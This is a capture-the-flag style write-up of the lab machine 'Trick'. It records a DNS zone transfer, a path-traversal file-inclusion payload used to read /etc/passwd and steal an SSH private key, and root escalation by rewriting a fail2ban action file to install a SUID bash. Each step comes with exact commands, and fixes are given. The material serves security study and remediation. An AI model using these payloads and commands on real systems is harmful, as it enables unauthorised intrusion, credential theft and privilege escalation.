Trick
Summary
My scanning the target found an nginx web server hosting two virtual hostnames on the same IP address. A DNS misconfiguration disclosed the existence of a hidden pre-production marketing subdomain, which ran a PHP application whose file-routing parameter was vulnerable to path traversal. That read-any-file capability was turned against the developer account's unencrypted SSH private key, giving me an interactive shell.
Once inside, two compounding misconfigurations sealed my path to root: the developer account belonged to a group that could write to the directory holding fail2ban's action scripts, and that same account could restart fail2ban as root without a password. By replacing a stock action definition with one that stamps a SUID-root copy of bash onto disk, then restarting the daemon, I created a permanent root-level entry point — full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 1
nmap -Pn -sV -p 22,25,53,80 --script=http-title,banner $TARGETExact commands 2
dig axfr trick.htb @$TARGETecho "$TARGET trick.htb preprod-marketing.trick.htb" | sudo tee -a /etc/hostsFixRestrict DNS zone transfers to authorised secondary name servers onlyMedium
Exact commands 1
curl -sS 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//etc/passwd'FixFix the path-traversal Local File Inclusion in the marketing applicationCritical
Exact commands 3
curl -sS 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//home/michael/.ssh/id_rsa' -o /tmp/trick-michael_id_rsachmod 600 /tmp/trick-michael_id_rsassh -i /tmp/trick-michael_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null michael@$TARGET 'id; cat /home/michael/user.txt'Exact commands 1
ssh -i /tmp/trick-michael_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null michael@$TARGET 'sudo -l; id; ls -ld /etc/fail2ban/action.d'Exact commands 2
ssh -i /tmp/trick-michael_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null michael@$TARGET 'cat > /etc/fail2ban/action.d/iptables-multiport.conf <<"EOF"
[Definition]
actionstart = /usr/bin/install -m 4755 -o root -g root /bin/bash /tmp/rootbash
actionstop =
actioncheck =
actionban =
actionunban =
EOF'ssh -i /tmp/trick-michael_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null michael@$TARGET 'sudo /etc/init.d/fail2ban restart'FixRemove group-write access from /etc/fail2ban/action.d and tighten the sudo ruleCritical
Exact commands 1
ssh -i /tmp/trick-michael_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null michael@$TARGET 'ls -la /tmp/rootbash; /tmp/rootbash -p -c "id; cat /root/root.txt"'Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 25/tcp | smtp recon-sweep-discovered |
| 53/tcp | domain |
| 80/tcp | http nginx 1.14.2 |